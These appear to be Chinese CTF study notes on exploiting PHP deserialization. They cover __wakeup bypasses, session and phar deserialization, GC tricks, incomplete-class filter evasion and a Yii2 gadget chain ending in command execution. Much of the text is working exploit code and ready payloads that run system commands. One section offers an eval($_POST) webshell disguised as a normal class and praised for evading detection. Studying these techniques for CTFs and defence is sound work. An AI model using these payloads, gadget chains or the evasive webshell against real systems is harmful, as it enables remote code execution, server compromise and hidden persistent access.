Php反序列化
序列化字符串
序列化中各种数据表达方式在PHP中对不同类型的数据用不同的字母来标识:a - array(数组型) b - boolean(布尔型) d - double(双精度型) i - integer(整数型) o - common object(一般对象) r - reference(引用) s - string(字符型) C - custom object(自定义对象) O - class(类) N - null(空) R - pointer reference(指针、引用) U - unicode string(编码的字符串)
魔法方法
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数,session反序列化同样会调用
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
tricks
f1=[new mix(),get_flag]
($this->f1)()
[new mix(),'get_flag']()
访问控制修饰符
根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同
public(公有)
protected(受保护) // %00*%00属性名
private(私有的) // %00类名%00属性名
protected属性被序列化的时候属性值会变成**%00*%00属性名**
private属性被序列化的时候属性值会变成**%00类名%00属性名**
(%00为空白符,空字符也有长度,一个空字符长度为 1)
这个private伪造长记性
payload
root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:12:"%00push_it%00pwd";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A13%3A%22%28%7E%8F%97%8F%96%91%99%90%29%28%29%3B%22%3B%7D
这里发包的时候直接这个payload就可以,注意%00push_it%00pwd
这个地方,%00就可以,发的时候整体不用解码
private伪造实例
<?php
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
}
$a="\";s:12:\"\000push_it\000pwd\";";
$b=serialize(new pull_it("(~".~"system".")(~".~"cat /f*".");"));
$c=$a.$b;
var_dump(urlencode($c));
绕过wakeup
https://www.jianshu.com/p/d73b3ca418b0
一般来说,绕过wakup无非:
- cve-2016-7124:对象的属性数量大于真实值
- 引用
- fast-destruct
- 使用C绕过
cve-2016-7124
影响范围:
- PHP5 < 5.6.25
- PHP7 < 7.0.10
当序列化字符串表示对象属性个数的数字值大于真实类中属性的个数时就会跳过__wakeup的执行。
call
- 7.4.x -7.4.30
- 8.0.x
https://github.com/php/php-src/issues/9618
执行顺序__call->des->__wakeup
引用
在php里,我们可使用引用的方式让两个变量同时指向同一个内存地址,这样对其中一个变量操作时,另一个变量的值也会随之改变。
比如:
<?php
function test (&$a){
$x=&$a;
$x='123';
}
$a='11';
test($a);
echo $a;
输出:
123
可以看到这里我们虽然最初$a=’11’,但由于我们通过$x=&$a使两个变量同时指向同一个内存地址了,所以使$x=’123’也导致$a=’123’了。
举个例子:
<?php
class KeyPort{
public $key;
public function __destruct()
{
$this->key=False;
if(!isset($this->wakeup)||!$this->wakeup){
echo "You get it!";
}
}
public function __wakeup(){
$this->wakeup=True;
}
}
if(isset($_POST['pop'])){
@unserialize($_POST['pop']);
}
可以看到如果我们想触发echo必须首先满足:
if(!isset($this->wakeup)||!$this->wakeup)
也就是说要么不给wakeup赋值,让它接受不到$this->wakeup,要么控制wakeup为false,但我们注意到KeyPort::__wakeup(),这里使$this->wakeup=True;,我们知道在用unserialize()反序列化字符串时,会先触发__wakeup(),然后再进行反序列化,所以相当于我们刚进行反序列化$this->wakeup就等于True了,这就没办法达到我们控制wake为false的想法了
因此这里的难点其实就是这个wakeup()绕过,我们可以使用上面提到过的引用赋值的方法以此将wakeup和key的值进行引用,让key的值改变的时候也改变wakeup的值即可
<?php
class KeyPort{
public $key;
public function __destruct()
{
}
}
$a = new KeyPort();
$a->key=&$a->wakeup;
echo serialize($keyport);
2022年中国工业互联网安全大赛预选赛里有道wakeup题就是运用了这个知识点,具体可以看2022年中国工业互联网安全大赛北京市选拔赛暨全国线上预选赛-Writeup,这道题用了很巧妙的方法绕过了死亡wakeup最后构造了命令。
fast-destruct
1、如果单独执行unserialize
函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。
2、如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。
- 一种方式就是修改序列化字符串的结构,使得完成部分反序列化的unserialize强制退出,提前触发
__destruct
$a = new a();
$arry = array($a,"1234");
$result = serialize($arry);echo $result."<br>";
//a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234";} 这是正常的
//a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:0;s:4:"1234";} #修改序列化数字元素个数
//a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234"; #去掉序列化尾部 }
本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct()
,提前触发反序列化链条。
我们可以看到DASCTF X GFCTF 2022十月挑战赛里EasyPOP这道题,源码是:
<?php
highlight_file(__FILE__);
error_reporting(0);
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}
public function __sleep()
{
$this->hint = new secret_code();
}
public function __get($name)
{
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function getPassword()
{
return $this->password;
}
public function setPassword($password): void
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function show()
{
return $this->code->secret;
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}
可以看到这里有个难点就是wakeup的绕过:
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
exp:
<?php
class sorry
{
public $name;
public $password;
public $key;
public $hint;
}
class show
{
public $ctf;
}
class secret_code
{
public $code;
}
class fine
{
public $cmd;
public $content;
public function __construct()
{
$this->cmd = 'system';
$this->content = ' /';
}
}
$a=new sorry();
$b=new show();
$c=new secret_code();
$d=new fine();
$a->hint=$b;
$b->ctf=$c;
$e=new sorry();
$e->hint=$d;
$c->code=$e;
$e->key=$d;
echo (serialize($a));
#O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";N;s:4:"hint";O:4:"show":1:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";O:4:"fine":2:{s:3:"cmd";s:6:"system";s:7:"content";s:2:" /";}s:4:"hint";r:10;}}}}
直接传进去毫无疑问会因为die()而终止,这里我们就可以用fast-destruct这个技巧使destruct提前发生以绕过wakeup(),比如我们可以减少一个} :
?pop=O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";N;s:4:"hint";O:4:"show":1:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";O:4:"fine":2:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}s:4:"hint";r:10;}}}
或者在r;10;后面加一个1:
?pop=O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";N;s:4:"hint";O:4:"show":1:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";O:4:"fine":2:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}s:4:"hint";r:10;1}}}}
都可以实现wakeup绕过
php issue#9618
php issue#9618提到了最新版wakeup()的一种bug,可以通过在反序列化后的字符串中包含字符串长度错误的变量名使反序列化在==__wakeup之前调用__destruct()函数==版本:
- 7.4.x -7.4.30
- 8.0.x
本地起一个环境:
<?php
highlight_file(__FILE__);
class A
{
public $info;
private $end = "1";
public function __destruct()
{
$this->info->func();
echo "des";
}
}
class B
{
public $znd;
public function __wakeup()
{
$this->znd = "exit();";
echo '__wakeup';
}
public function __call($method, $args)
{
echo "__call ";
}
}
if(isset($_POST['pop'])){
@unserialize($_POST['pop']);
}
payload:
<?php
class A
{
public $info;
private $end = "1";
public function __destruct()
{
}
}
class B
{
public $znd;
public function __wakeup()
{
}
public function __call($method, $args)
{
}
}
$test=new A();
$test->info=new B();
echo serialize($test);
#O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:6:"Aend";s:1:"1";}
成功绕过wakeup
**原理:**声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0
的前缀。这里的\0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。也就是说当实例化的类里存在私有属性时比如private时,序列化它时会出现字符长度那里会出现不可见字符,比如:
可以看到私有属性Aend那里A的前后两边都出现了不可见字符,而我们传入以及服务器接受的payload实际上为O:1:”A”:2:{s:4:”info”;O:1:”B”:1:{s:3:”znd”;N;}s:6:”Aend”;s:1:”1″;},这就导致理论上Aend长度为6但实际上不是,最后导致wakeup()绕过,原理应该和fast-destruct相似:
但事实上只有这种情况能够绕过wakeup,也就是destruct和wakeup在不同的类的时候,如果他们存在同一个类时输入直接serialize得到的payload是没有回显的:
只有当我们用%00
代替不可见字符时,才会进行正常的反序列化输出,但却是按正常顺序输出的wakeup并不会被绕过
你这时不难想到如果给最初destruct和wakeup不同类的payload加上%00会怎么样呢,答案是这种情况下就会正常反序列化,不能绕过wakeup了
感觉还是和fast-destruct以及php的GC回收的算法有关,不想研究了,摆了
使用C绕过
php7.3.4
挺早之前我就知道使用C代替O能绕过wakeup,但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容,这次比赛学到了种新方法,就是把正常的反序列化进行一次打包,让最后生成的payload以C开头即可
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>
<?php
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$a=new ctfshow();
echo serialize($a);
#O:7:"ctfshow":0:{}
我们把O改成C传入C:7:”ctfshow”:0:{}可以看到网页显示bypass
但你只能这么传入,稍微改一点就没反应了,更别说向里面传值了,这里我们可以使用ArrayObject对正常的反序列化进行一次包装,让最后输出的payload以C开头(官方文档说:This class allows objects to work as arrays.)
<?php
class ctfshow {
public $ctfshow;
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
echo "OK";
system($this->ctfshow);
}
}
$a=new ctfshow;
$a->ctfshow="whoami";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res;
//unserialize($res)
?>
#C:11:"ArrayObject":77:{x:i:0;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}};m:a:0:{}}
最后成功命令执行
但我本地尝试的时候发现这种包装方法对php版本有要求,我用7.3.4才可以输出以C开头的payload,换7.4或者8.0输出的就是O开头了,除了这个函数还有其他方法可以对payload进行包装,具体可以参考[愚人杯3rd easy_php]:
实现了unserialize接口的大概率是C打头,经过所有测试发现可以用的类为:
- ArrayObject::unserialize
- ArrayIterator::unserialize
- RecursiveArrayIterator::unserialize
- SplObjectStorage::unserialize
destruct免杀
以下代码就相当于<?php @eval($_POST['test']);?>
此木马毕竟是跟正常文件太像,所以免杀效果很不错。
<?php
class A{
var $test = "demo";
function __destruct(){
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象,用我们POST传过去的命令代码字符串覆盖$test="demo",从而执行恶意命令。
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>
session反序列化
选择不同的处理器,处理方式也不一样,如果序列化和储存session与反序列化的方式不同,就有可能导致漏洞的产生。
https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
我之前一直不理解session是怎么影响到当前php脚本的,现在懂了一些,==当 PHP 停止的时候,它会自动读取 内存中
$_SESSION
中的内容,并将其进行序列化
, 然后发送给会话保存管理器来进行保存(持久化存储在硬盘上)。==也就是session被序列化的时候,那我猜session进行反序列化的时候就是用户传过来sessid并且确实存在这个会话id的时候,这个时候硬盘中的sess_文件内容会被反序列化取出到内存中,那么这里也能看出来==用户越多的时候对服务器的内存压力是越大的==。那么这个漏洞的利用过程大概是:
一、题目ini配置满足session内容的自定义上传 ,上传过程中存储在$_SESSION,结束后根据==php.ini中规定的处理器==进行持久化存储(因为当前并没有执行这个题目的php脚本)
二、存在session序列化处理器不同的漏洞 ,发起会话读取这个题目的页面时,session会被从sess_文件中读取并根据==当前php脚本中ini_set规定的处理器==进行反序列化,这个时候正在被反序列化的字符串(我们构造的payload)刚好与当前执行的php脚本契合,那这个session存储的序列化内容就被反序列化执行了
默认情况下,PHP 使用内置的文件会话保存管理器来完成session
的保存,也可以通过配置项 session.save_handler
来修改所要采用的会话保存管理器。 对于文件会话保存管理器,会将会话数据保存到配置项session.save_path
所指定的位置。
PHP session在php.ini中有很多配置项,PHP session
的存储机制是由session.serialize_handler
来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid
来决定文件名的,当然这个文件名也不是不变的
php.ini中一些==Session配置==: 1、session.save_path="" –设置session的存储路径 2、session.save_handler=""–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) 3、session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动 4、session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php
常见的php-==session存放位置==有: 1、/var/lib/php5/sess_PHPSESSID 2、/var/lib/php7/sess_PHPSESSID 3、/var/lib/php/sess_PHPSESSID 4、/tmp/sess_PHPSESSID 5 /tmp/sessions/sess_PHPSESSED 5、phpstudy集成环境下在php.ini里查找session.save_path,也可以在这里更改路径
session.serialize_handler
定义的引擎有三种,如下表所示:
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize() 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize() 函数序列化处理的值 |
php_serialize | 经过serialize()函数序列化处理的数组 |
-
php
<?php error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); $_SESSION['session'] = $_GET['session']; ?>
C|s:8:“flag.php”;
-
php_binary
<?php error_reporting(0); ini_set('session.serialize_handler','php_binary'); session_start(); $_SESSION['sessionsessionsessionsessionsession'] = $_GET['session']; ?>
#
为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessions
为键名,s:7:"xianzhi";
为传入 GET 参数经过序列化后的值 -
php_serialize
<?php error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['session'] = $_GET['session']; ?>
a:1
表示$_SESSION
数组中有 1 个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值
上传进度支持(session.upload_progress)
当在php.ini中设置session.upload_progress.enabled = On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSION超全局中可用。
poc
<!DOCTYPE html>
<html>
<head>
<title>A_dmin</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
抓包修改,在序列化的字符串前加 |,提交即可。
phar反序列化
phar反序列化即在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
漏洞利用条件
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
文件结构
phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启,一个phar文件一个分为四部分
1.a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾
生成phar
需要提前配置php.ini
要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest 核心
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
利用
触发phar的函数
https://blog.zsxsoft.com/post/38
fopen()
unlink()
stat()
fstat()
rename()
opendir()
rmdir()
mkdir()
以及,基于文件操作的其他函数
file_put_contents()
file_get_contents()
file_exists()
fileinode()
include()
require()
include_once()
require_once()
filemtime()
fileowner()
fielperms()
甚至看起来不行其实可以的函数,比如
filesize()
is_dir()
scandir()
更离谱的是这样也可以触发反序列化
class hack{
public function __destruct(){
echo "hack class destruct";
}
}
new DirectoryIterator("phar://flag.phar");
甚至
class hack{
public function __destruct(){
echo "hack class destruct";
}
}
highlight_file("phar://flag.phar");
这些还不是全部
https://blog.zsxsoft.com/post/38
https://threezh1.com/2019/09/09/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
用法
- 上传phar文件的时候可以把后缀改成gif之类
- 调用我们上传的phar文件的功能点文件前面加上phar://
bypass
(1)phar://被过滤 有以下几种方法可以绕过:
- compress.bzip2://phar://
- compress.zlib://phar:///
- php://filter/resource=phar://
- $z = ‘compress.bzip2://phar:///home/sx/test.phar/test.txt’;
(2)除此之外,我们还可以将phar伪造成其他格式的文件。 php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。如下:
$user = new User();
$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha
$phar->stopBuffering();
010
有时phar文件需要修改数据,可以用010修改,比如这里修改对象数量绕过wakeup
- 原本是序列化对象属性个数是3,这里改成4
由于我们修改了phar中的metadata数据,因此签名也需要重新计算:
from hashlib import sha1
f = open('./test.gif', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
print(s)
h = f[-8:] # 获取签名类型以及GBMB标识
print(h)
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('datou.gif', 'wb').write(newf) # 写入新文件
用上方脚本计算完成后,在当前目录会生成datou.gif文件
提前destruct
垃圾回收GC
__destruct(析构函数)当某个对象成为垃圾或者当对象被显式销毁时执行
显式销毁,当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL 隐式销毁,PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉
这里在CTF中的应用就是比如throw new Exception会中断destruct,需要强制进行垃圾回收触发__destruct
核心思想:反序列化一个数组,然后再利用第一个索引,来触发GC
简单来说,就是:
$a=array();
$a[0]=new B();
$a[1]=new B();
.....
$b = unserialize($a);
EXP:
class B{
function __construct(){
echo "mung";
}
}
echo serialize(array(new B, new B));
//a:2:{i:0;O:1:"B":0:{}i:1;O:1:"B":0:{}}
这样就能成功执行魔术方法了。
EXP:
<?php
class B{
public $p;
public function __construct(){
$this->a = new A();
}
}
class A{
public $a;
public function __construct(){
$this->a = new Fun();
}
}
class Fun{
private $func = 'call_user_func_array';
public function __construct()
{
$this->func ="Test::getFlag";
}
}
$c = array(new B, new B);
$a = serialize($c);
echo urlencode($a);
一样的原理,也是通过添加第一个索引达到触发GC的效果。
造成该漏洞的主要原因是ArrayObject缺少垃圾回收函数。该漏洞称为“双递减漏洞”,漏洞报告如下(CVE-2016-5771): https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5771
fast-destruct
1、如果单独执行unserialize
函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。
2、如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。
- 一种方式就是修改序列化字符串的结构,使得完成部分反序列化的unserialize强制退出,提前触发
__destruct
$a = new a();
$arry = array($a,"1234");
$result = serialize($arry);echo $result."<br>";
//a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234";} 这是正常的
//a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:0;s:4:"1234";} #修改序列化数字元素个数
//a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234"; #去掉序列化尾部 }
本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct()
,提前触发反序列化链条。
不存在的类
漏洞点在于==序列化==的时候__PHP_Incomplete_Class_Name如果为空,即找不到绑定的类,那么__PHP_Incomplete_Class类中的属性也会被丢弃
正常来说一个合法的反序列化字符串,在二次序列化也即反序列化再序列化之后所得到的结果是一致的。
比如
<?php
$raw = 'O:1:"A":1:{s:1:"a";s:1:"b";}';
echo serialize(unserialize($raw));
//O:1:"A":1:{s:1:"a";s:1:"b";}
可以看到即使脚本中没有A这个类,在反序列化序列化过后得到的值依然为原来的值。
<?php
$raw = 'O:1:"A":1:{s:1:"a";s:1:"b";}';
var_dump(unserialize($raw));
/*Output:
object(__PHP_Incomplete_Class)#1 (2) {
["__PHP_Incomplete_Class_Name"]=>
string(1) "A"
["a"]=>
string(1) "b"
}*/
可以发现PHP在遇到不存在的类时,会把不存在的类转换成__PHP_Incomplete_Class
这种特殊的类,同时将原始的类名A
存放在__PHP_Incomplete_Class_Name
这个属性中,其余属性存放方式不变。而我们在序列化这个对象的时候,serialize遇到__PHP_Incomplete_Class
这个特殊类会倒推回来,序列化成__PHP_Incomplete_Class_Name
值为类名的类,我们看到的序列化结果不是O:22:"__PHP_Incomplete_Class_Name":2:{xxx}
而是O:1:"A":1:{s:1:"a";s:1:"b";}
,那么如果我们自己如下构造序列化字符串
执行结果如下图
可以看到在二次序列化后,由于O:22:"__PHP_Incomplete_Class":1:{s:1:"a";O:7:"classes":0:{}}
中__PHP_Incomplete_Class_Name
为空,找不到应该绑定的类,其属性就被丢弃了,导致了serialize(unserialize($x)) != $x
的出现。
以强网杯2021 WhereIsUWebShell 为例
事实上,在2021强网杯中就有利用到这一点。
下面是需要进行绕过的代码,unserialize的时候这个类存在,再次serialize的时候_PHP_Incomplete_Class_Name为空,即找不到绑定的类,那么_PHP_Incomplete_Class类中的属性myclass也会被丢弃
<?php
$res = unserialize($_REQUEST['ctfer']);
if(preg_match('/myclass/i',serialize($res))){
throw new Exception("Error: Class 'myclass' not found ");
}
在这个题目中,我们需要加载myclass.php
中的hello
类,但是要引入hello类,根据__autoload
我们需要一个classname
为myclass
的类,这个类并不存在,如果我们直接去反序列化,只会在反序列化myclass类的时候报错无法进入下一步,或者在反序列化Hello的时候找不到这个类而报错。
根据上面的分析,我们可以使用PHP对__PHP_Incomplete_Class
的特殊处理进行绕过
a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}
修改一下index.php
和myclass.php
以便更好地看清这一过程
<?php
// index.php
ini_set('display_errors', 'on');
include "function.php";
$res = unserialize($_REQUEST['ctfer']);
var_dump($res);
echo '<br>';
var_dump(serialize($res));
if(preg_match('/myclass/i',serialize($res))){
echo "???";
throw new Exception("Error: Class 'myclass' not found ");
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
echo "End";
<?php
// myclass.php
//class myclass{}
class Hello{
public function __destruct()
{
echo "I'm destructed.<br/>";
var_export($this->qwb);
if($this->qwb) echo file_get_contents($this->qwb);
}
}
?>
可以看到在反序列化之后,myclass作为了__PHP_Incomplete_Class
中属性,会触发autoload引入myclass.php,而对他进行二次序列化时,因为__PHP_Incomplete_Class
没有__PHP_Incomplete_Class_Name
该对象会消失,从而绕过preg_match
的检测,并在最后触发Hello
类的反序列化。
(闭包)函数也能反序列化?
Closure (闭包)函数也是类
在php中,除了通过function(){}
定义函数并调用还可以通过如下方式
<?php
$func = function($b){
$a = 1;
return $a+$b;
};
$func(1);
//Output:2
的方式调用函数,这是因为PHP在5.3版本引入了Closure类用于代表匿名函数
实际上$func就是一个Closure类型的对象,根据PHP官方文档,Closure类定义如下。
<?
class Closure {
/* 方法 */
private __construct()
public static bind(Closure $closure, ?object $newThis, object|string|null $newScope = "static"): ?Closure
public bindTo(object $newthis, mixed $newscope = 'static'): Closure
public call(object $newThis, mixed ...$args): mixed
public static fromCallable(callable $callback): Closure
}
下面是一个简单的使用示例
<?php
class Test{
public $a;
public function __construct($a=0){
$this->a = $a;
}
public function plus($b){
return $this->a+$b;
}
}
$funcInObject = function($b){
echo "Test::Plus\nOutput:".$this->plus($b)."\n";
return $this->a;
};
try{
var_dump(serialize($func));
}catch (Exception $e){
echo $e;
}
$myclosure = Closure::bind($funcInObject,new Test(123));
var_dump($myclosure(1));
//Output:int(124)
可以看到通过Closure::bind
我们还可以给闭包传入上下文对象。
一般来说Closure是不允许序列化和反序列化的,直接序列化会Exception: Serialization of 'Closure' is not allowed
然而Opi Closure (opens new window)库实现了这一功能,通过Opi Clousre,我们可以方便的对闭包进行序列化反序列化,只需要使用Opis\Closure\serialize()
和Opis\Closure\unserialize()
即可。
==以祥云杯2021-ezyii为例以祥云杯2021 ezyii为例==
在2021祥云杯比赛中有一个关于yii2的反序列化链,根据所给的文件,很容易发现一条链子
Runprocess->DefaultGenerator->AppendStream->CachingStream->PumpStream
也即
<?php
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('whatever');
$this->source="????";
}
}
}
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('whatever');
}
}
}
namespace {
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
最后触发的是PumpStream::pump里的call_user_func($this->source, $length);
<?php
class PumpStream
{
...
private function pump($length)
{
var_dump("PumpStream::pump",$this,$length);
if ($this->source) {
do {
$data = call_user_func($this->source, $length);
if ($data === false || $data === null) {
$this->source = null;
return;
}
$this->buffer->write($data);
$length -= strlen($data);
} while ($length > 0);
}
}
}
看起来很美好,然而有个小问题,我们没法控制$length,只能控制$this->source,这就导致了我们能使用的函数受限,如何解决这一问题呢,这里就用到了我们之前提到的Closure,在题目中引入了这一类库,那么我们可以让$this->source为一个函数闭包,一个简化的示意代码如下
<?php
include("closure/autoload.php");
<?php
class Test{
public $source;
}
$func = function(){
$cmd = 'id';
system($cmd);
};
$raw = \Opis\Closure\serialize($func);
$t = new Test;
$t->source = unserialize($raw);
$exp = serialize($t);
$o = unserialize($exp);
call_user_func($o->source,9);
//Output:uid=1000(eki) gid=1000(eki) groups=1000(eki),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
可以看到通过这个函数闭包,我们绕过了参数限制,实现了完整的RCE。